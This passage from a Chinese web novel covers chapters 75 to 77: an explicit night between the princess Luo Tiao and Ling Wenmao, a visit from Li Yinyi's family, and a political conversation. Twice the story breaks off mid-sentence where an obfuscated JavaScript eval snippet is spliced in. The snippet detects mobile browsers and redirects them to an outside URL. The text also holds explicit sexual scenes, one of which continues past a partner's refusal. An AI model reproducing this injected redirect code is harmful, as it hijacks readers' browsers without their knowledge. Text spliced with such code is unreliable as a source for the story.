“交代一青先行回府。”凌文袤将巾帕丢进铜盆,脱去外袍丢挂在螺钿屏风上,快速捞起下沉的巾帕拧干,把额面脖颈清理一番。 一青和赤眉在河对岸玄雀卫的屋舍,一记极具穿透力的响哨掠过声形交织的雨幕送入公主府,凌文袤耳听极敏,知道是赤眉给他送的暗号,未穿蓑衣未打油纸伞,穿好衣袍直接飞奔过去对面玄雀卫屋舍。 明日就要离京,赫连萨朵暗暗差人来让凌文袤速速回府,说再不回府,赫连萨朵会亲自来提人。 凌文袤差了个口齿愚钝的一青回去回话,告诉他母亲赫连萨朵稍安勿躁,不必来提人。 凌文袤知道赫连萨朵这样着急催他回府,必有要事相告。 床榻内的骆苕察觉他言行较往常明显浮促,也便没再多问,朝外挪了挪身子盯着屏风,又目迎沾了一身寒气的人绕进来坐上榻沿,骆苕伸手去解他原本浴洗后还没干就被挽起的发髻,说:“你去拿方巾帕来,我为你擦擦头发。” 头发都还未碰上,手掌便被凌文袤擒握住,只觉半明半暗的身影霎时倾轧下来,双唇被封,干燥微凉的唇面沿着唇角转战脸面脖颈,不该落下的都没落下,而后火速向下窃玉衔珠。 火急火燎夺取意图明显。 “凌文袤……”骆苕神思被不算温柔的抚触渐渐激得懵乱,气息颤颤巍巍,“你怎么不高兴?” 寒着一张脸,像她夺走了他的一笔横财。 “倒是眼尖。”凌文袤褪掉二人衣物,抱人坐在他腿上,细细地看着眼前人,气息随着深喉上滚变得火烫,眉眼带着一抹不知从哪儿挟持过来的温良谦和,笑说,“兴许你改个称谓,我就高兴了。” 二人脸对脸近在咫尺,但被凌文袤刻意保持的距离漏风又漏光,迫使骆苕的眸光只逗留在他的脸颊,双臂搭上他的肩胛,似乎如此便可以屏蔽许多坦露的旖旎之色,对视的时间久了只能撇开双眼,却被人捧正脸面强行与他对视,咽喉也不由自主地发颤,在他的注视下顿挫着唤他:“夫……夫君。” 好一声生硬的夫君。 一声夫君便能让他心安,她愿意给。 “嗯。”凌文袤挑眉含笑应着,收下她知趣的称谓,浸在微光里的五官舒缓成朗朗晴空的模样,双掌扶上尾椎两侧的细柔肌肤,指腹游移几许,轻抬慢慢往他身前推。 在她震颤时,他却又不满意了:“唤我的时候,应该带点感情。” 骆苕委屈瞪眼看他,眼前的情形一如回到小茶楼。 凌文袤却用身体力行恰到好处地打乱她的神思,骆苕咽喉满溢出的吟哼声也被他的吻一并掳走吞下。 绛紫床帐被悬在外侧的腿陡然挑起,觳觫着起起落落。 呼吸交织跌宕间,交缠的两道人影陡然换位,凌文袤俯在上居高临下,重重吐气毅然坚持:“夫人,再唤一次夫君,要好听的。” 她的音色很好听,涓细袅袅盈耳,私底下对他却一直没有诚心用在正道上。 他正在努力匡扶正道。 天下这么大的局,何须再舍她一人闷声入局为饲。 骆苕绷直的脚背稍稍松懈,眼尾泛红连脸颊都未能幸免,她用噙着薄泪的双眼看着凌文袤,还有恼意。 白日里的那场欢好,忽略一地狼藉的话,更多的是意大于实,像凌文袤用精细的工笔画亲自一笔一笔描摹骆苕细致的身躯。 今晚却截然相反,帐内的人没有让她的手脚闲着,调动她神思的同时,一直在调动她的肉体凡胎。 骆苕再次脑袋空乏,根本寻不到相宜的措辞,脑中一闪而过的唯有深耕深犁这一个不着边际的用语。 她想,她快疯了。 神经五感都是错乱的,觉得他太固执让人十分窝火,他说她像倔驴,此时,她觉得他更像。 在骆苕沉默的怒意中,凌文袤料知她倔意上头,眸色渐深汇聚成一道凌厉,歇息过的浪潮席卷而下,这次连唇都未封,直接让她无边的声音在咽喉里乱撞。 “抵御不住喊出来就好,何苦隐忍着让自己难受。”凌文袤善意提醒,抱人脱离床榻,威逼她用双臂勾住自己的脖子,在她耳边低诉,“我正好也想听个痛快。” 因他蛮横无理的态度和口无遮拦的话,骆苕胸腔扑簌簌颤抖着气不打一处来,张嘴使劲咬上他肩头,最后颓废着趴在肩头一动不动,低低呜咽着说:“凌文袤……你该死。” 凌文袤微微侧首吻在她的耳尖,浊音咬字,道:“一起死。”环看卧房周遭,今晚他并不想砸摔物件,这些带有白言霈风影的物件终究砸不完。 白言霈算个什么东西。 如今恐怕整个京都城都已知道,大嵘姿仪双绝的长公主是他的女人,白言霈即便躲在山陬海澨也能听闻这则消息。 他想,今晚他也是疯魔了。 离烛灯最近的那张美人榻,小是小了点,但将就着还能一用,他想清晰地看着她眼眸中今夜的顺服。 只有这才是最真实的。 人随心动,美人榻上音浪喋喋不休,掩盖不住地四处逃逸。 最后戛然而止。 骆苕趴在美人榻上,两鬓贴着湿粼粼的头发原神出窍,一条腿悬挂下榻沿,被汗液浸透的粉色身躯修长妙曼,正泛着亮泽的水光。 凌文袤想抱骆苕却被她连手带腿一同大力推开,她将脸也转去了里侧。 骆苕的这半个时辰犹上云端犹堕深渊,心力体力消耗殆尽。 凌文袤穿好衣袍,掀来绸被将人裹起抱去浴洗,发懵中的骆苕这才醒了神,有气无力地说:“我要睡觉。” 意思简单明了,随意擦拭擦拭便算了结。 凌文袤笑着又亲在她了的额头:“很快,一会儿你睡你的。” 简单浴洗过后折返回寝殿卧房将人安置进床榻。 “不要了!”骆苕一句近乎咆哮的推拒并没打断人的行为,听见他淡淡地说,“不要你,你睡你的。” 是真的没打算要她,只是嗅着馨香狠狠地亲着她。 骆苕昏昏入睡已经无力去争辩细节,阖上眼,身体承受着被强吻的陈陈刺痛,等凌文袤熄灭烛灯站回床榻边时,她那根清醒的经脉“啪”的一下断去,霎时跌入梦境。 ** 公主府门前风灯和照,飘进屋檐的斜斜碎雨将石板拓成成片成片的青墨色。门庭外的斜雨里立着一匹枣红骏马,马首甩动,忽闪着滚圆的双眼试图驱赶马鬃上的雨水。 凌文袤手握缰绳,雨水打湿发髻,沿着紧绷的下颌线滑落,滴在牙色衣袍消散不见。他目视入城的方向,背光的眸中没有一丝光亮,如暗夜般黑沉沉,人和马就那样静静地伫立良久。 谁也不知此时的他在想着什么。 后侧的赤眉跨坐在马上,以同样的身姿注视前方。 “驾!” 凌文袤扬鞭驱马,骏马四蹄瞬时挑起道道水帘飞驰而去。 公主府门里的阍侍大娘贴着厚重的门板,听见策马离开的声音,终于把心落下,默喜,这下终于可以睡个安稳觉了。 阍侍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12884363|123112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大娘回过身,只见申宫官提着沉沉的步子朝里走去。 公主府彻底恢复平静。 四更雨停。 五更骆苕悠悠转醒,醒神片刻才觉气息不对,翻身展开手臂,外侧触及之处是空空冰凉的一片。 凌文袤就这样不告而别。 骆苕在叹气中再清醒几分,睁开眼依着昏暗的光线搜寻到寝衣,用手勾来寝衣躺着囫囵穿回去,穿完又讷讷拥好被子绵软地阖眼发呆。 全身除了酸软还是酸软。 他将寝衣都叠放在让她随手可以拿到的床尾,却不跟她说声道别。 不知过去多久。 “申怡。”骆苕哑嗓唤人入内伺候。 申怡推门而入,先挑开卧房内的帘子,又心领神会地倒满一杯水送过来,骆苕手臂伸出床帐接杯饮水。 申怡将床帐向两侧撩起挂进帐勾,望向骆苕,蓦地惊掉魂魄,声色打颤不成句:“殿下……殿下,您的脖子……脖子一圈……等等……使女……”陡然吞声急匆匆离开去外间。 骆苕扶了扶脖子顿觉不妙,申怡素来稳重,不可能如此失态,快速挑开寝衣查看,入眼是满身留下的印记,下身躯腰身和大腿内侧更是明显。 骆苕接过申怡拿来的铜镜再一照,清楚地看到脖子一圈全是吻痕,镶嵌在雪白的表皮上赫然醒目。 骆苕皱了皱眉颓然问道:“今日李印仪她们几时到访?” 凌文袤给骆苕送了一场酣睡,还送了一份不着调的周公大礼——全身标记。 临走前那一通不干正事的亲吻,就是特意留给她的。 申怡记得拜帖上的时辰,回道:“未时一刻。” 骆苕颔首说:“你去把舒痕膏拿来,晌午上妆的时候再给我敷层厚粉遮一遮,想必瞧不出来。” 申怡退去又被骆苕叫住,骆苕说:“等我先洗漱完再擦。” 她心脏怦怦跳比较慌乱,肩胛下还好说,脖子耳下这一圈能不能遮得住还真不一定,在自己府中见李印仪夫妇总不能带幂篱,再不行只能戴垂裙风帽,可终归在府邸见熟人,戴个垂裙风帽,如此反而显得疏离怪异。 骆苕望着手腕上的暗红印子兀自切了切齿,昨夜走得那么急,那这个时辰,想必凌文袤已经离京。 申怡应声心如擂鼓,这凌五郎昨夜确实没砸物件,却全砸在了殿下身上,此人着实有病。 晌午上妆后,骆苕放下粉刷撩好秀发,对着铜镜中的人左右照了照,胸腔一落心道罢了,能遮多少算多少,即便被人瞧见,旁人总不会出言相问。 未时,守在府门口的平平等来了李印仪夫妇,笑盈盈恭请人入内:“长公主殿下早已在花厅等候多时,请随婢子来。” 李印仪浅浅回应,携着一家人随平平踏进公主府。 贺兰融牵着六岁多的女儿,李印仪牵着三岁多的儿子连同四位照看两位稚子的乳母、婢女亦步亦趋跟在旁侧的平平身后。 贺兰融一家子身形极高,所过之处留下黑压压的一地阴影,压迫感十足。 平平为照应一家人的步履,不免将自己的步子迈的大一些,余光定在李印仪手中牵着的三岁小娃身上。 贺兰小公子一身织锦五色袴褶服,雄赳赳气昂昂迈着大步,一双滚圆亮澄的大眼睛上下左右四处打量。 平平嘴角不动声色地向上弯去,心中暗赞,真是个讨喜的小公子。 贺兰小女郎在平平后侧方,平平瞧不见,府门前的那一眼可以断定,贺兰小女郎是个恬静满身书香的小女郎。 平平再次暗忖,若公主府能添几位小娃娃该有多好,那公主府的颜色别提会多绚烂多姿。 76. 第七十六章 天放晴,花厅前等候的骆苕踩着蜿蜒褪去潮润的石道慢慢踱着步子,行止跟随神思一直顿顿挫挫,纵然已经醒神了半日,脑子却还在打盹。 还在想什么呢? 骆苕缓缓摊开衣袖,沉眉垂下头,下巴磕在项帕上重新打量一番自己的衣着。上着全缘胭脂色对襟大袖衫,下着十五破间色裙,两臂附穿羽袖,脚踩翘头履。 不由叹了叹气,觉得自己像只秋日里色彩斑斓的花蝴蝶,与今日有些迟钝的脑袋并不相衬。 申怡近前禀报:“殿下,他们来了。” 骆苕脸面换上一副持重的好颜色,收起衣袖眉若春山迎人过来。 一行人远远瞧见厅前等候的骆苕,贺兰融晃了晃女儿贺兰娍的小手,身子却探向旁侧,对着儿子贺兰翊低声再次叮嘱询问:“父亲教你的礼数,可记牢了?” 令贺兰融面面放心的女儿贺兰娍往前定了一眼,视线转到狗都嫌闹腾的胞弟贺兰翊身上。 只见贺兰翊目视前方嫌弃似的振振有词:“孩儿自然记得呢。”望着衣袂轻扬的花蝴蝶眸光雪亮,奶音神不知鬼不觉地提了几度,直问李印仪,“阿母,最漂亮的那个就是长公主吗?” 小奶娃贺兰翊脑子转的飞快,心中啊哈一声神气满满,父亲说男子汉大丈夫就该娶最漂亮的女人,每日哭着同父亲抢阿母,今日见着花蝴蝶,可以暂且将娶阿母的念头放一放。 李印仪和贺兰融对视一眼,二人同时皱眉发怵,往日里贺兰融父子俩说最漂亮的女人是李印仪,父子二人抢的不可开交,只是娶妻这一项贺兰融从不松口,连哄都不带哄的,说长大了让贺兰翊自己去娶,委屈得贺兰翊哇哇大哭。 小奶娃心思单纯,单纯到一出口便被夫妻二人猜中心思,此刻,夫妻二人唯恐天不怕地不怕的贺兰翊不尊礼数口无遮拦,又生出什么无理要求。 夫妻二人都在自责对贺兰翊的教导太懈怠,但临时抱佛脚已然来不及。 “是的,她就是长公主。”李印仪直言相告又郑重告诫,“翊儿一会儿在长公主面前不得胡言,漂亮的长公主最喜欢知书明理的小孩儿。” 这一作答没起到作用,反倒让贺兰翊嘴角瘪了瘪,瞬间泪眼朦胧,哭唧唧着说:“阿母是说长公主最喜欢阿姊,不喜欢孩儿……” 知书明理这四个字,贺兰翊平日里耳朵都听得起了茧,不过都是夸他阿姊贺兰娍的,和自己一点都不沾边,今日一听到跟自己不沾边的这四个字,不哭一哭实在对不起自己。 李印仪恍然明白自己说岔话后立时停下脚步,冷着脸直直地看向前方却没哄儿子,她摸透了儿子的脾气,这个时候不能哄,只要一哄铁定泪雨如瀑。 只有晾他一晾让他发觉自己错了才能止住将要掉下来的眼泪,事后拜见骆苕还能安静乖一些。 贺兰融牵着女儿移去一旁只当没听见,佯装听水赏花。 其实这个时候,作为阿姊的贺兰娍也能治哭唧唧的贺兰翊,贺兰翊天生怕知书达理的贺兰娍,不过只能治当前的这一下,效果远没晾一晾他长久。 一旁的平平见这一家稀奇古怪的样子,忍不住犹豫着插话进来哄一哄,温言道:“长公主最喜欢贺兰小公子和贺兰小女郎,今日殿下都等了你们二位好长时间了呢,备下好多好多瓜果蜜饯,好多好多肉脯糕点,还有可以现做现点的冰糕冰饮,婢子带你去可好?” 贺兰翊瞄了瞄另外不愿搭理他的三人,使劲眨了眨乌溜溜的双眼赶走盈在眼眶的眼泪,充满期许地问:“真的吗?”别人的台阶到底比自家的新鲜好下,自然不能把机会溜走。 “当然啦。”平平忙应,“婢子带你去。” 贺兰翊抬头看向李印仪,拽了拽她的手,撒娇着说:“阿母,翊儿要去见长公主,等不及了。” 李印仪视线里的骆苕似乎要动身往这面走,于是叹过一声,对贺兰翊道:“那走吧。”声音不温不火,淡淡的。 一行人到了花厅,行过礼后骆苕请人入内,入内刚转了个身面对她们,只见刚刚行过常礼的两个小孩扑通一下跪拜在她身前。 贺兰娍说:“承蒙长公主殿下厚爱,请受贺兰娍一拜。” 贺兰翊说:“承蒙长公主殿下厚爱,请受贺兰翊一拜。” 一见如此架势,骆苕一面蹲身扶两个小孩起来,一面看向李印仪夫妇,满眼尴尬责怪,碍于不明就里的小孩子在前,跪都已经跪了,终归不好再说什么。 等两个小孩起了身后,李印仪才说:“这一拜原本早该来还,奈何稚子尚在襁褓行不了大礼,所以一直耽搁到今日。”让贺兰翊自己来行大礼,这也是李愈大将军叮嘱李印仪一定要做的,若不是骆苕拼死拦下当年想要以死谏国的贺兰融,哪里还有儿女双全的今日。 自从皇太子骆奂病逝,孝玄帝骆炜诠一直在不停地屠戮,而骆苕一直在不停地救人,在骆苕的认知里,她做为大嵘的长公主,救下忠臣原本就是她的职责,何须还来跪拜谢她。 她实在受不起。 骆苕刻意忽略李印仪的话,就那样蹲着一手扶一个小孩,笑吟吟看向贺兰娍,时间过的快小孩长的也快,曾经抱在手里的小人如今这样蹲着需要仰头看她了,骆苕又看了贺兰翊一眼,最后对二人说:“厨堂里备了玉露团、樱桃毕罗、莲花饼餤、荔枝酥山一会儿就会呈过来,你们俩稍等片刻。” “我要酥山!”贺兰翊兴奋地看着骆苕,乌溜溜的圆眼都不带转一下,“我要吃百盏!”最近在学算数,百盏是个很大的数字,也很顺口,所以他要百盏。 贺兰融和李印仪刚想出声阻拦,便听见贺兰娍开口道:“贺兰翊,不可如此没规矩,天已入秋,贪凉闹肚子仔细疾医用苦药收拾你。只可食一盏。” 贺兰翊放弃反抗咽了咽口水,低低地说:“那听阿姊的,就食一盏。” 贺兰娍退开身转而对骆苕叉手行礼:“玉露团、樱桃毕罗、莲花饼餤、荔枝酥山都乃宫廷御品,贺兰娍在此多谢长公主殿下盛情款待。” 此言一出,听得在场所有人含笑称赞,贺兰翊不甘示弱同样后退两步作揖附和:“贺兰翊多谢长公主殿下款待。” 一板一眼的模样煞是有趣,逗的人心花怒放,骆苕笑着缓道:“无妨,往后你们常来,我还是好生招待。”想要起身却被贺兰翊一把拽住衣袖,问,“我可以亲您一口吗?” 漂亮温柔香香的花蝴蝶长公主,他好想亲一口呀。 骆苕一时打楞,听见贺兰融拉下脸,严厉警告:“翊儿,休得无礼。” 李印仪已经跨步过来拎小泼孩的后领,骆苕却握住贺兰翊的小手看着他,出口的话是说给李印仪夫妇听的:“我受了你的跪拜大礼,你还要亲我一口,你对我可真好呢。”当即点了点自己的腮帮,柔声道,“亲吧。” 她弦外之音在告诉李印仪夫妇,这一记跪拜大礼她收不起。 有人撑腰的贺兰翊得意地在李印仪和贺兰融之间来回瞄着,撅着小嘴送在了骆苕的脸上。 贺兰娍默默退去了一边。 得逞的贺兰翊开始有点顾不上礼数手舞足蹈高兴坏了,又盯着骆苕看,眼尖的他突然发现骆苕脖子上熟悉的印记,指着自己的脖子说:“哇,长公主殿下的脖子上也有红印子,我阿母也有诶。” 这一句话犹如一击夺命闷雷,劈得在场的人外焦里焦,里外都不是人。 慕容余早已将骆苕出狱的真实时间如实告知贺兰融,荷兰融也知道凌文袤被贬去京外巡抚的消息,所以贺兰融夫妇能在拜帖上精准地写下到访时辰。 红印子能出现在骆苕脖子上,是谁干的不言而喻。 他们夫妇俩料想不到自己的儿子揭他人的底,还一同揭了自家的底。 骆苕的脸霎时发烫起了身,贺兰翊被李印仪抓着后领口拖拽去一旁,荷兰融扶额默着,申怡连忙招呼人入座。 大伙默契地各自忙碌着。 六岁多的贺兰娍面不改色,出声像在为大家解围:“长公主殿下,您府上有书室吗?可否让我入内瞧瞧?” 骆苕望向目光诚诚的贺兰娍,清了清神道:“有一座藏书阁,我让人领你过去,一会儿厨堂里的小食做好了,直接送去藏书阁,若是瞧上里面的书册典籍,你可以带回去慢慢翻阅。” 贺兰娍再次叉手行礼:“多谢长公主殿下。” 贺兰娍被平平带走,骆苕转而问贺兰翊:“贺兰小公子,你可想逛逛我的府邸?” 公主府实在找不到专门供小孩玩耍的场所,贺兰翊若愿意玩只是随他自己的意,一会儿大人们叙话,他一个小孩子也会觉得无聊。 被李印仪按入座的小奶娃贺兰翊已经雷打不动,心心念的荔枝酥山还没吃,想说的话也没说,此时不宜离开。 他甜甜地讨好:“我只想陪着长公主殿下。” 骆苕泛红的脸面笑得有些僵,应了声“好”,说:“多谢贺兰小公子。”多少已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913722|123112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经领略了这位活泼小男孩的脾性。 “应该的,不必言谢。”贺兰翊顶着一双大眼喜滋滋地看着骆苕,对案上的瓜果茶点没兴趣,那双天真无邪的眼睛看得骆苕颇觉不好意思。 荷兰融和李印仪一对视,起身说:“翊儿,父亲带你去公主府的厨堂看一看,看看荔枝酥山做好了没。” 荷兰融想暂且骗儿子出去,让花厅里的二人叙会儿话,可贺兰翊此时却像个大人一样摆手道:“父亲不必了,厨堂做好了自会送过来。” 夫妇二人很为难,这个时候强行让儿子出去只怕会哭闹,贺兰融坐下时,无奈地对骆苕如实相告:“长公主见谅,此子平日里疏于管教还极其爱哭,还望长公主多多包含。” 骆苕一笑,望向已经有点不高兴的贺兰翊,说:“小孩子都是如此,是你们太见外了,我小时候也极其爱哭呢,跟贺兰小公子一样。” 贺兰翊闻言心中立马啊哈一声,对嘛,哪个小孩子不爱哭,除了他的阿姊,他忙说:“还是长公主殿下最好,不会嫌弃我,父亲和阿母整日嫌弃我爱哭。” “嗯。我不会嫌弃贺兰小公子。”骆苕抽空问向李印仪,“李大将军的身体可还好?” 李印仪默了一瞬道:“和从前差不多,都是些武将的老毛病,全身时不时作疼。针灸火罐四季不停,也没有什么好的汤药可解,疼的时候咬咬牙便过去了,疾医也只是吩咐多多静养。今年夏日炎热一直胸痛犯咳疾,这几日天凉后咳疾症状消减不少,碰上下雨全身关节又开始犯疼。入秋病情好转,入冬屋里炭火烧的旺一些也能舒服一些,年年都是如此。”苦涩地笑了笑,“全靠老天赏饭吃。” 累累功勋的武将,晚年一定逃不过病疼缠身,唯有静养吊命。 骆苕解不了李愈的病疼,沉沉地说:“代我向李大将军问安。” 气氛一下子变得沉重,李印仪打破沉重舒气提声道:“家父每日惦记着长公主,今日登府一瞧,终于能好好给他老人家回话去了。” 骆苕方才有那么一刹习惯性地出神,这才察觉自己不该如此沉重,带上笑对贺兰翊说:“贺兰小公子,可否代我向你的外祖父传个话呀,就说我过得很好呢,有空会登门去拜访他老人家。” 被冷落的贺兰翊,知道方才大人讲话不能贸然插嘴,此时被点名立时眼睛变得亮晶晶,揖了个礼说得有模有样:“贺兰翊定不负长公主殿下所托。” 骆苕笑吟吟地说:“多谢贺兰小公子。” 李印仪摸了摸一板正经贺兰翊的脑袋。 有些深入的谈话不好当着小孩子的面说,骆苕想,那今日陪陪眼前这个初次见面的小奶娃也好,旁的日后多的是时间。 大人都沉默着没出声,贺兰翊终于问出了心中一直想说的话:“长公主殿下,我可以娶您吗?” 又是一记闷雷,惊得贺兰融暗道不妙忙去捂住贺兰翊的嘴,呵斥:“翊儿,休得胡言!” 经过方才那一遭,骆苕心里已经有了底,笑着只说:“无妨的,我可以回答贺兰小公子,你不能娶我呢。” 有人撑腰的贺兰翊扒掉贺兰融的手掌,居然生气了:“父亲!是您对孩儿说,男子汉大丈夫有话便说,有疑问就问,不能吞吞吐吐。”听见说不能娶漂亮香香的花蝴蝶长公主,心里难免有点失落,碍于礼数在前,他不能强求,不过立马又被燃起斗志,说:“您是长公主,那您府上一定还有一位幼公主,我想见见幼公主。” 长幼长幼,有长一定有幼,就像他跟他阿姊一样。娶不到长公主那也可以先看看幼公主,漂亮的话他想娶。 荷兰融彻底无法,见骆苕回得颇为平静,于是放开贺兰翊。 骆苕摇头道:“我府上没有幼公主。” 连连受挫的贺兰翊越挫越勇,低头努力想了想,抬眼望向骆苕目露期许,问:“那长公主殿下可以生一个幼公主出来,我可以娶她吗?” 贺兰翊问过李印仪他和阿姊从哪里来,李印仪回答他是从阿母的肚子里孕育而生,前些日子贺兰翊还特别关注过有身孕的下人,大问特问一通,终于搞懂了一些。 骆苕虽有准备,但贺兰翊话音落下的时候,睫毛还是不由地颤了颤,她浮笑说:“我不会生幼公主呢,还是让贺兰小公子失望了。” 李印仪快速捕获到骆苕特别的凝重,朝花厅门口望去,为了转移贺兰翊的注意力吩咐贺兰融:“夫君,你去外面瞧瞧,是不是荔枝酥山送过来了。” 77. 第七十七章 贺兰融起身,对案的骆苕也跟着起了身,将大袖拢好在身前召呼贺兰翊:“贺兰小公子,我带你出去瞧瞧。” 一直落空的贺兰翊大大“唉”了一声,目光追随着骆苕起身,还是一副大人的口吻:“想娶个漂亮的娘子怎么这么难!” 这回贺兰翊倒是没想哭,只觉的真难。 李印仪笑中带窘,对骆苕歉意道:“长公主海涵,翊儿实在被我们惯坏了。” 骆苕离席自然而然地牵过贺兰翊的手,垂首对上贺兰翊亮晶晶的眼睛,眉眼带笑说:“贺兰小公子进退有度,肯定是一个顶天立地的好男儿,怎么可能惯的坏,往后只要勤学文武课业,漂亮娘子还会自己送到贺兰小公子面前。” 这一通有效的奉承让贺兰翊如沐春风,天真欣喜地问:“真的吗?” “真的。”骆苕笃定回应道,“我从不骗人。” 贺兰翊心满意足地被骆苕牵出了花厅,贺兰融和申怡跟在后侧,望着一大一小二人的背影同时轻叹,又对视一眼。 心有灵犀地在想同一件事——无所作为风流成性的凌五郎配不上骆苕。 一行人踩着蜿蜒小道搭着闲言等来了贺兰翊心心念的荔枝酥山,还等来了阿石从河里捞来供贺兰翊玩耍的几尾三指宽活鱼。 看着阿石伺候贺兰翊细心玩耍的画面,骆苕想起阿石的侄儿也应该如贺兰翊这般大了,等垌县田亩重归农人之手,她就把阿石侄儿还活着的消息一并告诉阿石。 再等时机再成熟一些,也该放阿石归家去。 久雨新霁,没有云层遮蔽的秋阳还是有些毒,渐渐褪去温和炙烤着公主府。 贺兰融陪同贺兰翊,跟着阿石去禽舍抓鸡斗鹅去了。 骆苕和李印仪屏退下人折回花厅,李印仪的视线认真划过骆苕的脖子,问:“凌五郎待长公主如何?” 坊间的流言再如何疯狂也只是外言,虚虚实实总该问问骆苕本人。 凌晖有意让凌文袤求娶骆苕这都是朝前明面上的事,李印仪原以为风流名声在外的凌文袤还在对骆苕紧追不舍,今日一见,事实远比耳闻的真实,也不知深居公主府的骆苕对凌文袤的品行可否知情。 落座后骆苕稀松平常地说:“他待我挺好。”食指点在自己的脖子上笑了笑解释,“昨夜临走前留下的,连细粉都没能遮住,着实让你们见笑。” 小奶娃贺兰翊点破的事重新掉头解释,骆苕已经没了先前那般局促尴尬,李印仪不是在意红印子,倒是察觉骆苕轻松的语气有些不寻常,李印仪沉默片刻,犹豫着关心后事:“那何时成婚?” 宫中剩余的皇女都抬了名分,且被指了婚不日将出降,唯独骆苕在出降名册之外,流言却最广最劲,大嵘最尊贵的身份和最夺目的品貌摆在那,被花名在外的凌文袤如此一搅合,更为人津津乐道。 骆苕摇头,正正地说:“我不会同凌五郎成婚。” 李印仪了然颔首没说话,心中只是默叹,骆苕是经历过大劫的人,萌生出将自己托付给自己想法无可厚非。 听见骆苕接着慢道:“如今他们凌氏掌权,朝堂波云诡谲,凌氏若精于治世,肃清八方,那往后的日子也可安稳一些,若凌氏不堪重任有负天命,反被大圻讨伐,我这条命终归活不长,何苦再去惦记旁的。” 李印仪一怔,未料骆苕会想得那么远,那么消沉,她说:“长公主是否太过忧虑?我的父亲虽卧病在床但对大嵘军镇要地颇为关心,大嵘从前式微,重在对大圻的严防死守,如今渐渐有扭转之态,只要大嵘稍安步当车厉兵秣马,吞并大圻定会水到渠成。” 一顿,“长公主不必如此挂忧,朝中这些老将军都拿眼盯着呢。” 在李印仪的注视下骆苕眸光转亮,面露宽慰之色:“李大将军能如此说我便放心了,好像已经很久没人跟我讲对外战事,所以一直提心吊胆。” 李印仪伸手拈樱桃毕罗时不着痕迹地说:“若想将征讨大圻提上日程,就看凌晖这次大刀阔斧整顿内政成效如何。” 内政牵涉进这么多人,京内外的腐官这些先不说,单说骆苕拼死保下连伏旼在内的十位寒门文士,被关入廷尉大狱,心细的李印仪猜测凌晖想利用骆苕来试探骆苕身后到底有多少旧臣。 而后二人在细细的对话中,倒是印证了李印仪的猜测,凌晖确实在试探旧臣,骆苕唯有暗暗苦笑,如今能被利用也是一种福气。 李印仪想起第一次作为主帅领兵作战败了的凌文袤,想必凌文袤也没有拿的出手在骆苕面前吹嘘的对外战事,内事还狠狠地利用了骆苕一把,李印仪含笑问道:“这就是长公主不愿成婚的缘由?” 骆苕拿起羹匙挑起一口半化开的荔枝酥山悬在半空,轻轻摇头:“世间好女子多的是,凌五郎并非会拘守一位女子之人,如今待我好,谁知日后会待我如何,我对他予求予给也不过是顺他心意少惹他不快,留得几分薄情兴许他日还有些用处。” 李印仪看着骆苕将那一口悬在半空的酥山慢慢放回盏中,李印仪说:“倘若凌晖精于治世,肃清八方,到那时长公主便会身不由己,只怕凌五郎不会放手。” 既然如今朝中大臣大多数默许凌晖挟天子独揽大权,必定也不希望再生大事端,让外敌有机可趁。李印仪的父亲李愈卧病在床,不为凌晖所用,但也不刻意煽风点火诋毁凌晖,任凭凌晖靠自己的本事去拉拢旧臣。 凌晖若真的大有作为,时间推移旧臣彻底无威胁,骆苕的作用将会消散。 如此美人谁又舍得放过。 “那时究竟是几时谁又能预测?五年?十年?二十年?三十年?”骆苕不以为意地笑了笑,“等到那时再说也不迟,若那时凌五郎还能回头顾念一下人老珠黄的旧人,我都得谢谢他。时下夺国余恨未消,便想我入他凌五郎的门,除非将我的性命拿去。” 李印仪想到大嵘的同时又想到白明绪一族,默了片刻道:“长公主的心意我会转告父亲。”想到凌文袤那个不成事的样,皱了皱眉还是问出了口,“可是凌五郎在府中强迫你就范?” 骆苕定睛看李印仪,话语真诚不夹杂春心翻涌的慌乱,她说:“大约是我喜欢上了凌五郎,摒弃他凌氏身份后的那种喜欢。” 李印仪再次怔楞,一时分辨不出骆苕究竟是真喜欢凌文袤还是和凌文袤逢场作戏。 又想起十二三岁时的骆苕,那时的骆苕出落得亭亭玉立明媚动人。私底下女郎们会浅浅地逗笑一番,说大嵘最尊贵最美的长公主十一岁便亲自挑了位驸马都尉,对男女之事开悟的如此早又如此大胆,定会是个喜爱男色的妙人,指不定哪日见到更为心仪的男子,就会将白言霈一脚 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李印仪面对如此坦诚的话反而有些拘谨了,她避开白言霈那桩陈年旧事,还有凌文袤那些花名在的浪荡轶事,唯有做无用的劝解:“长公主何必纠结于儿女私情,喜欢谁当从心而就,不必再难为自己。” 骆苕没说话,望着眼前化开成糜汤的荔枝酥山颇觉讽刺。 巴蜀的荔枝早已过了采食时节,纵使在采食当季,连根带果整株运送至京都城,耗时耗财,陷入天灾之前的大嵘也才送过一次。 今日厨堂所制的荔枝酥山,只是留其美名,实则选用了当季的秋梨汁和山楂汁调配而成,再撒以熏制过的菊花作为点缀。 如同大嵘一样有名无实。 二人又说了会儿话,李印仪将裴山恭即将回京的消息告诉了骆苕,骆苕沉默了好久没出声。 骆苕听闻过自己的母后慕容瑾和裴山恭的过往——少年相许,两情相悦,却被自己的父皇生生毁去一段美好姻缘。 骆苕未曾见过裴山恭。 骆奂重病那年,裴山恭曾入宫见过骆奂,裴山恭探疾出宫之后,骆奂对骆苕说,那是一位气度非凡的儒将。 处处都是悲怜。 